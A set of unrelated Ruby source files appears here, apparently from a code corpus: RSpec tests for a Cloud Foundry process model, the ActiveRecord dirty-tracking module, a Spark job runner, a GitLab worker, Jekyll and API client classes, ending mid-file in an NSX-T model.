expect { process.save }.to_not change(process, :version)
end
it 'should not update the version on update of :instances' do
expect { process.update(instances: 8) }.to_not change(process, :version)
end
it 'should update the version when changing health_check_http_endpoint' do
process.update(health_check_type: 'http', health_check_http_endpoint: '/oldpath')
expect {
process.update(health_check_http_endpoint: '/newpath')
}.to change { process.version }
end
end
end
describe '#desired_instances' do
before do
@process = ProcessModel.new
@process.instances = 10
end
context 'when the app is started' do
before do
@process.state = 'STARTED'
end
it 'is the number of instances specified by the user' do
expect(@process.desired_instances).to eq(10)
end
end
context 'when the app is not started' do
before do
@process.state = 'PENDING'
end
it 'is zero' do
expect(@process.desired_instances).to eq(0)
end
end
end
describe 'uris' do
it 'should return the fqdns and paths on the app' do
process = ProcessModelFactory.make(app: parent_app)
domain = PrivateDomain.make(name: 'mydomain.com', owning_organization: org)
route = Route.make(host: 'myhost', domain: domain, space: space, path: '/my%20path')
RouteMappingModel.make(app: process.app, route: route, process_type: process.type)
expect(process.uris).to eq(['myhost.mydomain.com/my%20path'])
end
end
describe 'creation' do
it 'does not create an AppUsageEvent' do
expect {
ProcessModel.make
}.not_to change { AppUsageEvent.count }
end
describe 'default_app_memory' do
before do
TestConfig.override({ default_app_memory: 200 })
end
it 'uses the provided memory' do
process = ProcessModel.make(memory: 100)
expect(process.memory).to eq(100)
end
it 'uses the default_app_memory when none is provided' do
process = ProcessModel.make
expect(process.memory).to eq(200)
end
end
describe 'default disk_quota' do
before do
TestConfig.override({ default_app_disk_in_mb: 512 })
end
it 'should use the provided quota' do
process = ProcessModel.make(disk_quota: 256)
expect(process.disk_quota).to eq(256)
end
it 'should use the default quota' do
process = ProcessModel.make
expect(process.disk_quota).to eq(512)
end
end
describe 'instance_file_descriptor_limit' do
before do
TestConfig.override({ instance_file_descriptor_limit: 200 })
end
it 'uses the instance_file_descriptor_limit config variable' do
process = ProcessModel.make
expect(process.file_descriptors).to eq(200)
end
end
describe 'default ports' do
context 'with a diego app' do
context 'and no ports are specified' do
it 'does not return a default value' do
ProcessModel.make(diego: true)
expect(ProcessModel.last.ports).to be nil
end
end
context 'and ports are specified' do
it 'uses the ports provided' do
ProcessModel.make(diego: true, ports: [9999])
expect(ProcessModel.last.ports).to eq [9999]
end
end
end
end
end
describe 'saving' do
it 'calls AppObserver.updated', isolation: :truncation do
process = ProcessModelFactory.make
expect(ProcessObserver).to receive(:updated).with(process)
process.update(instances: process.instances + 1)
end
context 'when app state changes from STOPPED to STARTED' do
it 'creates an AppUsageEvent' do
process = ProcessModelFactory.make
expect {
process.update(state: 'STARTED')
}.to change { AppUsageEvent.count }.by(1)
event = AppUsageEvent.last
expect(event).to match_app(process)
end
end
context 'when app state changes from STARTED to STOPPED' do
it 'creates an AppUsageEvent' do
process = ProcessModelFactory.make(state: 'STARTED')
expect {
process.update(state: 'STOPPED')
}.to change { AppUsageEvent.count }.by(1)
event = AppUsageEvent.last
expect(event).to match_app(process)
end
end
context 'when app instances changes' do
it 'creates an AppUsageEvent when the app is STARTED' do
process = ProcessModelFactory.make(state: 'STARTED')
expect {
process.update(instances: 2)
}.to change { AppUsageEvent.count }.by(1)
event = AppUsageEvent.last
expect(event).to match_app(process)
end
it 'does not create an AppUsageEvent when the app is STOPPED' do
process = ProcessModelFactory.make(state: 'STOPPED')
expect {
process.update(instances: 2)
}.not_to change { AppUsageEvent.count }
end
end
context 'when app memory changes' do
it 'creates an AppUsageEvent when the app is STARTED' do
process = ProcessModelFactory.make(state: 'STARTED')
expect {
process.update(memory: 2)
}.to change { AppUsageEvent.count }.by(1)
event = AppUsageEvent.last
expect(event).to match_app(process)
end
it 'does not create an AppUsageEvent when the app is STOPPED' do
process = ProcessModelFactory.make(state: 'STOPPED')
expect {
process.update(memory: 2)
}.not_to change { AppUsageEvent.count }
end
end
context 'when a custom buildpack was used for staging' do
it 'creates an AppUsageEvent that contains the custom buildpack url' do
process = ProcessModelFactory.make(state: 'STOPPED')
process.app.lifecycle_data.update(buildpacks: ['https://example.com/repo.git'])
expect {
process.update(state: 'STARTED')
}.to change { AppUsageEvent.count }.by(1)
event = AppUsageEvent.last
expect(event.buildpack_name).to eq('https://example.com/repo.git')
expect(event).to match_app(process)
end
end
context 'when a detected admin buildpack was used for staging' do
it 'creates an AppUsageEvent that contains the detected buildpack guid' do
buildpack = Buildpack.make
process = ProcessModelFactory.make(state: 'STOPPED')
process.desired_droplet.update(
buildpack_receipt_buildpack: 'Admin buildpack detect string',
buildpack_receipt_buildpack_guid: buildpack.guid
)
expect {
process.update(state: 'STARTED')
}.to change { AppUsageEvent.count }.by(1)
event = AppUsageEvent.last
expect(event.buildpack_guid).to eq(buildpack.guid)
expect(event).to match_app(process)
end
end
end
describe 'destroy' do
subject(:process) { ProcessModelFactory.make(app: parent_app) }
it 'notifies the app observer', isolation: :truncation do
expect(ProcessObserver).to receive(:deleted).with(process)
process.destroy
end
it 'should destroy all dependent crash events' do
app_event = AppEvent.make(app: process)
expect {
process.destroy
}.to change {
AppEvent.where(id: app_event.id).count
}.from(1).to(0)
end
it 'creates an AppUsageEvent when the app state is STARTED' do
process = ProcessModelFactory.make(state: 'STARTED')
expect {
process.destroy
}.to change { AppUsageEvent.count }.by(1)
expect(AppUsageEvent.last).to match_app(process)
end
it 'does not create an AppUsageEvent when the app state is STOPPED' do
process = ProcessModelFactory.make(state: 'STOPPED')
expect {
process.destroy
}.not_to change { AppUsageEvent.count }
end
it 'locks the record when destroying' do
expect(process).to receive(:lock!)
process.destroy
end
end
describe 'file_descriptors' do
subject(:process) { ProcessModelFactory.make }
its(:file_descriptors) { should == 16_384 }
end
describe 'docker_image' do
subject(:process) { ProcessModelFactory.make(app: parent_app) }
it 'does not allow a docker package for a buildpack app' do
process.app.lifecycle_data.update(buildpacks: [Buildpack.make.name])
PackageModel.make(:docker, app: process.app)
expect {
process.save
}.to raise_error(Sequel::ValidationFailed, /incompatible with buildpack/)
end
it 'retrieves the docker image from the package' do
PackageModel.make(:docker, app: process.app, docker_image: 'someimage')
expect(process.reload.docker_image).to eq('someimage')
end
end
describe 'docker_username' do
subject(:process) { ProcessModelFactory.make(app: parent_app) }
it 'retrieves the docker registry username from the package' do
PackageModel.make(:docker, app: process.app, docker_image: 'someimage', docker_username: 'user')
expect(process.reload.docker_username).to eq('user')
end
end
describe 'docker_password' do
subject(:process) { ProcessModelFactory.make(app: parent_app) }
it 'retrieves the docker registry password from the package' do
PackageModel.make(:docker, app: process.app, docker_image: 'someimage', docker_password: 'pass')
expect(process.reload.docker_password).to eq('pass')
end
end
describe 'diego' do
subject(:process) { ProcessModelFactory.make }
it 'defaults to run on diego' do
expect(process.diego).to be_truthy
end
context 'when updating app ports' do
subject!(:process) { ProcessModelFactory.make(diego: true, state: 'STARTED') }
before do
allow(ProcessObserver).to receive(:updated).with(process)
end
it 'calls the app observer with the app', isolation: :truncation do
expect(ProcessObserver).not_to have_received(:updated).with(process)
process.ports = [1111, 2222]
process.save
expect(ProcessObserver).to have_received(:updated).with(process)
end
it 'updates the app version' do
expect {
process.ports = [1111, 2222]
process.memory = 2048
process.save
}.to change(process, :version)
end
end
end
describe '#needs_package_in_current_state?' do
it 'returns true if started' do
process = ProcessModel.new(state: 'STARTED')
expect(process.needs_package_in_current_state?).to eq(true)
end
it 'returns false if not started' do
expect(ProcessModel.new(state: 'STOPPED').needs_package_in_current_state?).to eq(false)
end
end
describe '#docker_ports' do
describe 'when the app is not docker' do
subject(:process) { ProcessModelFactory.make(diego: true, docker_image: nil) }
it 'is an empty array' do
expect(process.docker_ports).to eq []
end
end
context 'when tcp ports are saved in the droplet metadata' do
subject(:process) {
process = ProcessModelFactory.make(diego: true, docker_image: 'some-docker-image')
process.desired_droplet.update(
execution_metadata: '{"ports":[{"Port":1024, "Protocol":"tcp"}, {"Port":4444, "Protocol":"udp"},{"Port":1025, "Protocol":"tcp"}]}',
)
process.reload
}
it 'returns an array of the tcp ports' do
expect(process.docker_ports).to eq([1024, 1025])
end
end
end
describe 'ports' do
context 'serialization' do
it 'serializes and deserializes arrays of integers' do
process = ProcessModel.make(diego: true, ports: [1025, 1026, 1027, 1028])
expect(process.ports).to eq([1025, 1026, 1027, 1028])
process = ProcessModel.make(diego: true, ports: [1024])
expect(process.ports).to eq([1024])
end
end
context 'docker app' do
context 'when app is staged' do
context 'when some tcp ports are exposed' do
subject(:process) {
process = ProcessModelFactory.make(diego: true, docker_image: 'some-docker-image', instances: 1)
process.desired_droplet.update(
execution_metadata: '{"ports":[{"Port":1024, "Protocol":"tcp"}, {"Port":4444, "Protocol":"udp"},{"Port":1025, "Protocol":"tcp"}]}',
)
process.reload
}
it 'does not change ports' do
expect(process.ports).to be nil
end
it 'returns an auto-detect buildpack' do
expect(process.buildpack).to eq(AutoDetectionBuildpack.new)
end
it 'does not save ports to the database' do
expect(process.ports).to be_nil
end
context 'when the user provided ports' do
before do
process.ports = [1111]
process.save
end
it 'saves to db and returns the user provided ports' do
expect(process.ports).to eq([1111])
end
end
end
context 'when no tcp ports are exposed' do
it 'returns the ports that were specified during creation' do
process = ProcessModelFactory.make(diego: true, docker_image: 'some-docker-image', instances: 1)
process.desired_droplet.update(
execution_metadata: '{"ports":[{"Port":1024, "Protocol":"udp"}, {"Port":4444, "Protocol":"udp"},{"Port":1025, "Protocol":"udp"}]}',
)
process.reload
expect(process.ports).to be nil
end
end
context 'when execution metadata is malformed' do
it 'returns the ports that were specified during creation' do
process = ProcessModelFactory.make(diego: true, docker_image: 'some-docker-image', instances: 1, ports: [1111])
process.desired_droplet.update(
execution_metadata: 'some-invalid-json',
)
process.reload
expect(process.ports).to eq([1111])
end
end
context 'when no ports are specified in the execution metadata' do
it 'returns the default port' do
process = ProcessModelFactory.make(diego: true, docker_image: 'some-docker-image', instances: 1)
process.desired_droplet.update(
execution_metadata: '{"cmd":"run.sh"}',
)
process.reload
expect(process.ports).to be nil
end
end
end
end
context 'buildpack app' do
context 'when app is not staged' do
it 'returns the ports that were specified during creation' do
process = ProcessModel.make(diego: true, ports: [1025, 1026, 1027, 1028])
expect(process.ports).to eq([1025, 1026, 1027, 1028])
end
end
context 'when app is staged' do
context 'with no execution_metadata' do
it 'returns the ports that were specified during creation' do
process = ProcessModelFactory.make(diego: true, ports: [1025, 1026, 1027, 1028], instances: 1)
expect(process.ports).to eq([1025, 1026, 1027, 1028])
end
end
context 'with execution_metadata' do
it 'returns the ports that were specified during creation' do
process = ProcessModelFactory.make(diego: true, ports: [1025, 1026, 1027, 1028], instances: 1)
process.desired_droplet.update(
execution_metadata: '{"ports":[{"Port":1024, "Protocol":"tcp"}, {"Port":4444, "Protocol":"udp"},{"Port":8080, "Protocol":"tcp"}]}',
)
process.reload
expect(process.ports).to eq([1025, 1026, 1027, 1028])
end
end
end
end
end
describe 'name' do
let(:parent_app) { AppModel.make(name: 'parent-app-name') }
let!(:process) { ProcessModel.make(app: parent_app) }
it 'returns the parent app name' do
expect(process.name).to eq('parent-app-name')
end
end
describe 'staging failures' do
let(:parent_app) { AppModel.make(name: 'parent-app-name') }
subject(:process) { ProcessModel.make(app: parent_app) }
let(:error_id) { 'StagingFailed' }
let(:error_description) { 'stating failed' }
describe 'when there is a build but no droplet' do
let!(:build) { BuildModel.make app: parent_app, error_id: error_id, error_description: error_description }
it 'returns the error_id and error_description from the build' do
expect(process.staging_failed_reason).to eq(error_id)
expect(process.staging_failed_description).to eq(error_description)
end
end
describe 'when there is a droplet but no build (legacy case for supporting rolling deploy)' do
let!(:droplet) { DropletModel.make app: parent_app, error_id: error_id, error_description: error_description }
it 'returns the error_id and error_description from the build' do
expect(process.staging_failed_reason).to eq(error_id)
expect(process.staging_failed_description).to eq(error_description)
end
end
end
describe 'staging task id' do
subject(:process) { ProcessModel.make(app: parent_app) }
context 'when there is a build but no droplet' do
let!(:build) { BuildModel.make(app: parent_app) }
it 'is the build guid' do
expect(process.staging_task_id).to eq(build.guid)
end
end
context 'when there is no build' do
let!(:droplet) { DropletModel.make(app: parent_app) }
it 'is the droplet guid if there is no build' do
expect(process.staging_task_id).to eq(droplet.guid)
end
end
end
end
end
| 34.620392 | 156 | 0.622253 |
bf5cc82f7ae19f1294704f822a015629c2411912 | 7,695 | # frozen_string_literal: true
require "active_support/core_ext/module/attribute_accessors"
module ActiveRecord
module AttributeMethods
module Dirty
extend ActiveSupport::Concern
include ActiveModel::Dirty
included do
if self < ::ActiveRecord::Timestamp
raise "You cannot include Dirty after Timestamp"
end
class_attribute :partial_writes, instance_writer: false, default: true
# Attribute methods for "changed in last call to save?"
attribute_method_affix(prefix: "saved_change_to_", suffix: "?")
attribute_method_prefix("saved_change_to_")
attribute_method_suffix("_before_last_save")
# Attribute methods for "will change if I call save?"
attribute_method_affix(prefix: "will_save_change_to_", suffix: "?")
attribute_method_suffix("_change_to_be_saved", "_in_database")
end
# <tt>reload</tt> the record and clears changed attributes.
def reload(*)
super.tap do
@mutations_before_last_save = nil
@mutations_from_database = nil
end
end
# Did this attribute change when we last saved?
#
# This method is useful in after callbacks to determine if an attribute
# was changed during the save that triggered the callbacks to run. It can
# be invoked as +saved_change_to_name?+ instead of
# <tt>saved_change_to_attribute?("name")</tt>.
#
# ==== Options
#
# +from+ When passed, this method will return false unless the original
# value is equal to the given option
#
# +to+ When passed, this method will return false unless the value was
# changed to the given value
def saved_change_to_attribute?(attr_name, **options)
mutations_before_last_save.changed?(attr_name.to_s, **options)
end
# Returns the change to an attribute during the last save. If the
# attribute was changed, the result will be an array containing the
# original value and the saved value.
#
# This method is useful in after callbacks, to see the change in an
# attribute during the save that triggered the callbacks to run. It can be
# invoked as +saved_change_to_name+ instead of
# <tt>saved_change_to_attribute("name")</tt>.
def saved_change_to_attribute(attr_name)
mutations_before_last_save.change_to_attribute(attr_name.to_s)
end
# Returns the original value of an attribute before the last save.
#
# This method is useful in after callbacks to get the original value of an
# attribute before the save that triggered the callbacks to run. It can be
# invoked as +name_before_last_save+ instead of
# <tt>attribute_before_last_save("name")</tt>.
def attribute_before_last_save(attr_name)
mutations_before_last_save.original_value(attr_name.to_s)
end
# Did the last call to +save+ have any changes to change?
def saved_changes?
mutations_before_last_save.any_changes?
end
# Returns a hash containing all the changes that were just saved.
def saved_changes
mutations_before_last_save.changes
end
# Will this attribute change the next time we save?
#
# This method is useful in validations and before callbacks to determine
# if the next call to +save+ will change a particular attribute. It can be
# invoked as +will_save_change_to_name?+ instead of
# <tt>will_save_change_to_attribute?("name")</tt>.
#
# ==== Options
#
# +from+ When passed, this method will return false unless the original
# value is equal to the given option
#
# +to+ When passed, this method will return false unless the value will be
# changed to the given value
def will_save_change_to_attribute?(attr_name, **options)
mutations_from_database.changed?(attr_name.to_s, **options)
end
# Returns the change to an attribute that will be persisted during the
# next save.
#
# This method is useful in validations and before callbacks, to see the
# change to an attribute that will occur when the record is saved. It can
# be invoked as +name_change_to_be_saved+ instead of
# <tt>attribute_change_to_be_saved("name")</tt>.
#
# If the attribute will change, the result will be an array containing the
# original value and the new value about to be saved.
def attribute_change_to_be_saved(attr_name)
mutations_from_database.change_to_attribute(attr_name.to_s)
end
# Returns the value of an attribute in the database, as opposed to the
# in-memory value that will be persisted the next time the record is
# saved.
#
# This method is useful in validations and before callbacks, to see the
# original value of an attribute prior to any changes about to be
# saved. It can be invoked as +name_in_database+ instead of
# <tt>attribute_in_database("name")</tt>.
def attribute_in_database(attr_name)
mutations_from_database.original_value(attr_name.to_s)
end
# Will the next call to +save+ have any changes to persist?
def has_changes_to_save?
mutations_from_database.any_changes?
end
# Returns a hash containing all the changes that will be persisted during
# the next save.
def changes_to_save
mutations_from_database.changes
end
# Returns an array of the names of any attributes that will change when
# the record is next saved.
def changed_attribute_names_to_save
mutations_from_database.changed_attribute_names
end
# Returns a hash of the attributes that will change when the record is
# next saved.
#
# The hash keys are the attribute names, and the hash values are the
# original attribute values in the database (as opposed to the in-memory
# values about to be saved).
def attributes_in_database
mutations_from_database.changed_values
end
private
def write_attribute_without_type_cast(attr_name, value)
result = super
clear_attribute_change(attr_name)
result
end
def _touch_row(attribute_names, time)
@_touch_attr_names = Set.new(attribute_names)
affected_rows = super
if @_skip_dirty_tracking ||= false
clear_attribute_changes(@_touch_attr_names)
return affected_rows
end
changes = {}
@attributes.keys.each do |attr_name|
next if @_touch_attr_names.include?(attr_name)
if attribute_changed?(attr_name)
changes[attr_name] = _read_attribute(attr_name)
_write_attribute(attr_name, attribute_was(attr_name))
clear_attribute_change(attr_name)
end
end
changes_applied
changes.each { |attr_name, value| _write_attribute(attr_name, value) }
affected_rows
ensure
@_touch_attr_names, @_skip_dirty_tracking = nil, nil
end
def _update_record(attribute_names = attribute_names_for_partial_writes)
affected_rows = super
changes_applied
affected_rows
end
def _create_record(attribute_names = attribute_names_for_partial_writes)
id = super
changes_applied
id
end
def attribute_names_for_partial_writes
partial_writes? ? changed_attribute_names_to_save : attribute_names
end
end
end
end
| 36.29717 | 80 | 0.671735 |
0316d5d44ee391ecc12bb6679676bfa5a5ddf0ab | 1,302 | # frozen_string_literal: true
# Copyright 2021 Google LLC
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# https://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
# Auto-generated by gapic-generator-ruby. DO NOT EDIT!
# [START bigtable_v2_generated_BigtableTableAdmin_TestIamPermissions_sync]
require "google/cloud/bigtable/admin/v2"
# Create a client object. The client can be reused for multiple calls.
client = Google::Cloud::Bigtable::Admin::V2::BigtableTableAdmin::Client.new
# Create a request. To set request fields, pass in keyword arguments.
request = Google::Iam::V1::TestIamPermissionsRequest.new
# Call the test_iam_permissions method.
result = client.test_iam_permissions request
# The returned object is of type Google::Iam::V1::TestIamPermissionsResponse.
p result
# [END bigtable_v2_generated_BigtableTableAdmin_TestIamPermissions_sync]
| 38.294118 | 77 | 0.791091 |
79b9aab7a09af47fe7f7ac2f34448343c7ec5845 | 4,720 | # frozen_string_literal: true
# Methods for Basic Spark Jobs.
class SparkJob < ApplicationJob
queue_as :spark
after_perform do
update_dashboard = Dashboard.find_by(job_id: job_id)
update_dashboard.end_time = DateTime.now.utc
update_dashboard.save
end
def perform(user_id, collection_id)
Dashboard.find_or_create_by!(
job_id: job_id,
user_id: user_id,
collection_id: collection_id,
queue: 'spark',
start_time: DateTime.now.utc
)
Collection.where('user_id = ? AND collection_id = ?', user_id, collection_id).each do |c|
collection_path = ENV['DOWNLOAD_PATH'] +
'/' + c.account.to_s +
'/' + c.collection_id.to_s + '/'
collection_warcs = collection_path + 'warcs'
collection_derivatives = collection_path + c.user_id.to_s + '/derivatives'
collection_logs = collection_path + c.user_id.to_s + '/logs'
FileUtils.mkdir_p collection_logs
FileUtils.rm_rf collection_derivatives
FileUtils.mkdir_p collection_derivatives
aut_version = ENV['AUT_VERSION']
aut_jar_path = ENV['AUT_PATH']
spark_home = ENV['SPARK_HOME']
spark_threads = ENV['SPARK_THREADS']
spark_domains = spark_home +
'/bin/spark-submit --master local[' +
spark_threads +
'] --class io.archivesunleashed.app.CommandLineAppRunner ' +
aut_jar_path +
'/aut-' +
aut_version +
'-fatjar.jar --extractor DomainFrequencyExtractor --input ' +
collection_warcs +
' --output ' +
collection_derivatives +
'/all-domains/output 2>&1 | tee ' +
collection_logs +
'/' +
collection_id.to_s +
'-domains-' +
DateTime.now.utc.strftime('%Y%m%d%H%M') +
'.log'
spark_text = spark_home +
'/bin/spark-submit --master local[' +
spark_threads +
'] --class io.archivesunleashed.app.CommandLineAppRunner ' +
aut_jar_path +
'/aut-' +
aut_version +
'-fatjar.jar --extractor WebPagesExtractor --input ' +
collection_warcs +
' --output ' +
collection_derivatives +
'/all-text/output 2>&1 | tee ' +
collection_logs +
'/' +
collection_id.to_s +
'-text-' +
DateTime.now.utc.strftime('%Y%m%d%H%M') +
'.log'
spark_gephi = spark_home +
'/bin/spark-submit --master local[' +
spark_threads +
'] --class io.archivesunleashed.app.CommandLineAppRunner ' +
aut_jar_path +
'/aut-' +
aut_version +
'-fatjar.jar --extractor DomainGraphExtractor --input ' +
collection_warcs +
' --output ' +
collection_derivatives +
'/gephi --output-format graphml 2>&1 | tee ' +
collection_logs +
'/' +
collection_id.to_s +
'-gephi-' +
DateTime.now.utc.strftime('%Y%m%d%H%M') +
'.log'
Parallel.map([spark_domains, spark_text, spark_gephi], in_threads: 3) do |auk_job|
logger.info 'Executing: ' + auk_job
system(auk_job)
end
domain_success = collection_derivatives + '/all-domains/output/_SUCCESS'
fulltext_success = collection_derivatives + '/all-text/output/_SUCCESS'
graphml_success = collection_derivatives + '/gephi/GRAPHML.graphml'
graphml = collection_derivatives +
'/gephi/' +
collection_id.to_s +
'-gephi.graphml'
if File.exist?(domain_success) && File.exist?(fulltext_success) &&
File.exist?(graphml_success) && !File.empty?(graphml_success)
FileUtils.mv(graphml_success, graphml)
logger.info 'Executed: Domain Graph cleanup.'
GraphpassJob.set(queue: :graphpass)
.perform_later(user_id, collection_id)
else
UserMailer.notify_collection_failed(c.user_id.to_s,
c.collection_id.to_s).deliver_now
raise 'Collections spark job failed.'
end
end
end
end
| 40 | 93 | 0.518644 |
039fe629a61a861848a3baf83b475c2957cf198a | 707 | # frozen_string_literal: true
class AuthorizedKeysWorker
include ApplicationWorker
data_consistency :always
sidekiq_options retry: 3
PERMITTED_ACTIONS = %w[add_key remove_key].freeze
feature_category :source_code_management
urgency :high
weight 2
idempotent!
loggable_arguments 0
def perform(action, *args)
return unless Gitlab::CurrentSettings.authorized_keys_enabled?
case action.to_s
when 'add_key'
authorized_keys.add_key(*args)
when 'remove_key'
authorized_keys.remove_key(*args)
else
raise "Unknown action: #{action.inspect}"
end
end
private
def authorized_keys
@authorized_keys ||= Gitlab::AuthorizedKeys.new
end
end
| 19.108108 | 66 | 0.739745 |
614b97b4aba76569b90fc9250b4dfc0e5be74990 | 1,346 | module Uktt
# A Chapter object for dealing with an API resource
class Chapter
attr_accessor :config, :chapter_id
def initialize(opts = {})
@chapter_id = opts[:chapter_id] || nil
Uktt.configure(opts)
@config = Uktt.config
end
def retrieve
return '@chapter_id cannot be nil' if @chapter_id.nil?
fetch "#{CHAPTER}/#{@chapter_id}.json"
end
def retrieve_all
fetch "#{CHAPTER}.json"
end
def goods_nomenclatures
return '@chapter_id cannot be nil' if @chapter_id.nil?
fetch "#{GOODS_NOMENCLATURE}/chapter/#{@chapter_id}.json"
end
def changes
return '@chapter_id cannot be nil' if @chapter_id.nil?
fetch "#{CHAPTER}/#{@chapter_id}/changes.json"
end
def note
return '@chapter_id cannot be nil' if @chapter_id.nil?
fetch "#{CHAPTER}/#{@chapter_id}/chapter_note.json"
end
def config=(new_opts = {})
merged_opts = Uktt.config.merge(new_opts)
Uktt.configure merged_opts
@chapter_id = merged_opts[:chapter_id] || @chapter_id
@config = Uktt.config
end
private
def fetch(resource)
Uktt::Http.new(@config[:host],
@config[:version],
@config[:debug])
.retrieve(resource,
@config[:return_json])
end
end
end
| 23.206897 | 63 | 0.610698 |
7979aec217d3718064b65e55bb60551b2eea0488 | 4,246 | # encoding: UTF-8
require 'set'
# Convertible provides methods for converting a pagelike item
# from a certain type of markup into actual content
#
# Requires
# self.site -> Jekyll::Site
# self.content
# self.content=
# self.data=
# self.ext=
# self.output=
# self.name
module Jekyll
module Convertible
# Returns the contents as a String.
def to_s
self.content || ''
end
# Read the YAML frontmatter.
#
# base - The String path to the dir containing the file.
# name - The String filename of the file.
#
# Returns nothing.
def read_yaml(base, name)
begin
self.content = File.read(File.join(base, name))
if self.content =~ /\A(---\s*\n.*?\n?)^(---\s*$\n?)/m
self.content = $POSTMATCH
self.data = YAML.safe_load($1)
end
rescue SyntaxError => e
puts "YAML Exception reading #{File.join(base, name)}: #{e.message}"
rescue Exception => e
puts "Error reading file #{File.join(base, name)}: #{e.message}"
end
self.data ||= {}
end
# Transform the contents based on the content type.
#
# Returns nothing.
def transform
self.content = converter.convert(self.content)
end
# Determine the extension depending on content_type.
#
# Returns the String extension for the output file.
# e.g. ".html" for an HTML output file.
def output_ext
converter.output_ext(self.ext)
end
# Determine which converter to use based on this convertible's
# extension.
#
# Returns the Converter instance.
def converter
@converter ||= self.site.converters.find { |c| c.matches(self.ext) }
end
# Render Liquid in the content
#
# content - the raw Liquid content to render
# payload - the payload for Liquid
# info - the info for Liquid
#
# Returns the converted content
def render_liquid(content, payload, info)
Liquid::Template.parse(content).render!(payload, info)
rescue Exception => e
Jekyll.logger.error "Liquid Exception:", "#{e.message} in #{payload[:file]}"
raise e
end
# Recursively render layouts
#
# layouts - a list of the layouts
# payload - the payload for Liquid
# info - the info for Liquid
#
# Returns nothing
def render_all_layouts(layouts, payload, info)
# recursively render layouts
layout = layouts[self.data["layout"]]
used = Set.new([layout])
while layout
payload = payload.deep_merge({"content" => self.output, "page" => layout.data})
self.output = self.render_liquid(layout.content,
payload.merge({:file => layout.name}),
info)
if layout = layouts[layout.data["layout"]]
if used.include?(layout)
layout = nil # avoid recursive chain
else
used << layout
end
end
end
end
# Add any necessary layouts to this convertible document.
#
# payload - The site payload Hash.
# layouts - A Hash of {"name" => "layout"}.
#
# Returns nothing.
def do_layout(payload, layouts)
info = { :filters => [Jekyll::Filters], :registers => { :site => self.site, :page => payload['page'] } }
# render and transform content (this becomes the final content of the object)
payload["pygments_prefix"] = converter.pygments_prefix
payload["pygments_suffix"] = converter.pygments_suffix
self.content = self.render_liquid(self.content,
payload.merge({:file => self.name}),
info)
self.transform
# output keeps track of what will finally be written
self.output = self.content
self.render_all_layouts(layouts, payload, info)
end
# Write the generated page file to the destination directory.
#
# dest - The String path to the destination dir.
#
# Returns nothing.
def write(dest)
path = destination(dest)
FileUtils.mkdir_p(File.dirname(path))
File.open(path, 'w') do |f|
f.write(self.output)
end
end
end
end
| 28.306667 | 110 | 0.597268 |
4a81d1c1288dc8f465ff43ce28ca7448e24c604c | 6,723 | =begin
#NSX-T Data Center Policy API
#VMware NSX-T Data Center Policy REST API
OpenAPI spec version: 3.1.0.0.0
Generated by: https://github.com/swagger-api/swagger-codegen.git
Swagger Codegen version: 2.4.17
=end
require 'date'
module NSXTPolicy
# An instance of a datasource configuration.
class Datasource
# Name of a datasource instance.
attr_accessor :display_name
# Array of urls relative to the datasource configuration. For example, api/v1/fabric/nodes is a relative url of nsx-manager instance.
attr_accessor :urls
# Attribute mapping from ruby-style variable name to JSON key.
def self.attribute_map
{
:'display_name' => :'display_name',
:'urls' => :'urls'
}
end
# Attribute type mapping.
def self.swagger_types
{
:'display_name' => :'String',
:'urls' => :'Array<UrlAlias>'
}
end
# Initializes the object
# @param [Hash] attributes Model attributes in the form of hash
def initialize(attributes = {})
return unless attributes.is_a?(Hash)
# convert string to symbol for hash key
attributes = attributes.each_with_object({}) { |(k, v), h| h[k.to_sym] = v }
if attributes.has_key?(:'display_name')
self.display_name = attributes[:'display_name']
end
if attributes.has_key?(:'urls')
if (value = attributes[:'urls']).is_a?(Array)
self.urls = value
end
end
end
# Show invalid properties with the reasons. Usually used together with valid?
# @return Array for valid properties with the reasons
def list_invalid_properties
invalid_properties = Array.new
if @display_name.nil?
invalid_properties.push('invalid value for "display_name", display_name cannot be nil.')
end
if @display_name.to_s.length > 255
invalid_properties.push('invalid value for "display_name", the character length must be smaller than or equal to 255.')
end
if @urls.nil?
invalid_properties.push('invalid value for "urls", urls cannot be nil.')
end
invalid_properties
end
# Check to see if the all the properties in the model are valid
# @return true if the model is valid
def valid?
return false if @display_name.nil?
return false if @display_name.to_s.length > 255
return false if @urls.nil?
true
end
# Custom attribute writer method with validation
# @param [Object] display_name Value to be assigned
def display_name=(display_name)
if display_name.nil?
fail ArgumentError, 'display_name cannot be nil'
end
if display_name.to_s.length > 255
fail ArgumentError, 'invalid value for "display_name", the character length must be smaller than or equal to 255.'
end
@display_name = display_name
end
# Checks equality by comparing each attribute.
# @param [Object] Object to be compared
def ==(o)
return true if self.equal?(o)
self.class == o.class &&
display_name == o.display_name &&
urls == o.urls
end
# @see the `==` method
# @param [Object] Object to be compared
def eql?(o)
self == o
end
# Calculates hash code according to all attributes.
# @return [Fixnum] Hash code
def hash
[display_name, urls].hash
end
# Builds the object from hash
# @param [Hash] attributes Model attributes in the form of hash
# @return [Object] Returns the model itself
def build_from_hash(attributes)
return nil unless attributes.is_a?(Hash)
self.class.swagger_types.each_pair do |key, type|
if type =~ /\AArray<(.*)>/i
# check to ensure the input is an array given that the attribute
# is documented as an array but the input is not
if attributes[self.class.attribute_map[key]].is_a?(Array)
self.send("#{key}=", attributes[self.class.attribute_map[key]].map { |v| _deserialize($1, v) })
end
elsif !attributes[self.class.attribute_map[key]].nil?
self.send("#{key}=", _deserialize(type, attributes[self.class.attribute_map[key]]))
end # or else data not found in attributes(hash), not an issue as the data can be optional
end
self
end
# Deserializes the data based on type
# @param string type Data type
# @param string value Value to be deserialized
# @return [Object] Deserialized data
def _deserialize(type, value)
case type.to_sym
when :DateTime
DateTime.parse(value)
when :Date
Date.parse(value)
when :String
value.to_s
when :Integer
value.to_i
when :Float
value.to_f
when :BOOLEAN
if value.to_s =~ /\A(true|t|yes|y|1)\z/i
true
else
false
end
when :Object
# generic object (usually a Hash), return directly
value
when /\AArray<(?<inner_type>.+)>\z/
inner_type = Regexp.last_match[:inner_type]
value.map { |v| _deserialize(inner_type, v) }
when /\AHash<(?<k_type>.+?), (?<v_type>.+)>\z/
k_type = Regexp.last_match[:k_type]
v_type = Regexp.last_match[:v_type]
{}.tap do |hash|
value.each do |k, v|
